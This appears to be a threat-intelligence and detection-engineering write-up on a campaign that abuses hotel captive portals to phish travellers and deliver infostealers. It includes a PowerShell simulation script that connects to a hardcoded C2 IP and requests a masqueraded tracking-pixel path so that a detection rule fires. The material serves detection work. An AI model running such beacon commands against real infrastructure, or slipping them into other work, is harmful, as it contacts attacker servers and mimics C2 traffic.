CaptiveCrunch Campaign Delivers Malware and Steals Traveler Credentials

Summary

Midnight Blizzard, specifically the Storm-2945 sub-cluster, is conducting the CaptiveCrunch campaign against travelers through compromised captive portals in the hospitality sector. The attackers manipulate DNS and HTTP traffic to redirect victims to phishing infrastructure or deliver malware, including the CornFlake RAT and ChocoShell infostealer. The campaign combines AI-augmented operations with adversary-in-the-middle techniques to steal credentials and active session tokens.

Investigation

Microsoft Threat Intelligence linked Storm-2945 to Midnight Blizzard based on technical similarities involving device code phishing and shared victimology. The investigation uncovered doppelganger domains impersonating Microsoft services and the deployment of Golang-based RATs. Researchers also observed ClickFix techniques designed to trick users into manually executing malicious code on their devices.

Mitigation

Organizations should avoid placing trust in hospitality and guest Wi-Fi networks and use private connectivity, such as mobile hotspots, whenever possible. Deploying phishing-resistant MFA methods, including passkeys, and enforcing conditional access policies that restrict device code flows is strongly recommended. Users should also be trained to recognize ClickFix-style prompts and avoid installing software offered through captive portals.

Response

If CaptiveCrunch activity is detected, organizations should investigate suspicious scheduled tasks, service registrations, and unauthorized OAuth device code authentications. Security teams should monitor for anomalous PowerShell behavior, particularly AMSI tampering and UAC bypass attempts. Microsoft Entra ID Risky Sign-in reports should also be reviewed for evidence of session hijacking.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary seeks to establish a command-and-control (C2) channel using the ChocoShell infostealer. To evade traditional network monitoring, the malware is configured to communicate via HTTP requests that mimic legitimate tracking pixels. The attacker will initiate two distinct connection attempts: first, a connection to the hardcoded C2 IP 213.145.86.112, and second, a request containing the specific masqueraded URL path /t/pixel.gif?m=. These actions are designed to trigger the specific selection1 and selection2 logic within the detection rule.

• Regression Test Script:

  # Simulation of ChocoShell C2 Communication
  # This script simulates both triggers for the detection rule.
  
  Write-Host "[+] Starting ChocoShell Simulation..." -ForegroundColor Cyan
  
  # Trigger 1: Connection to Hardcoded Malicious IP (Selection 2)
  Write-Host "[+] Attempting connection to hardcoded C2 IP: 213.145.86.112" -ForegroundColor Yellow
  try {
      $ip_connection = New-Object System.Net.WebClient
      $ip_connection.DownloadString("http://213.145.86.112/index.php")
  } catch {
      Write-Host "[!] Connection to IP failed (expected if IP is unreachable), but Sysmon Event ID 3 should be generated." -ForegroundColor Gray
  }
  
  # Trigger 2: Connection with Masqueraded URL Path (Selection 1)
  # Note: We use a valid domain to ensure the network connection is actually attempted/logged.
  Write-Host "[+] Attempting connection with masqueraded URL path: /t/pixel.gif?m=" -ForegroundColor Yellow
  try {
      $url_path = "http://www.bing.com/t/pixel.gif?m=test_data"
      Invoke-WebRequest -Uri $url_path -UseBasicParsing
  } catch {
      Write-Host "[!] Connection to URL failed, but Sysmon Event ID 3 should be generated." -ForegroundColor Gray
  }
  
  Write-Host "[+] Simulation Complete." -ForegroundColor Cyan

• Cleanup Commands:

  # No permanent artifacts (files/registry) are created by this simulation.
  # This script only performs network requests.
  Write-Host "[+] Simulation cleanup: No persistent artifacts to remove." -ForegroundColor Green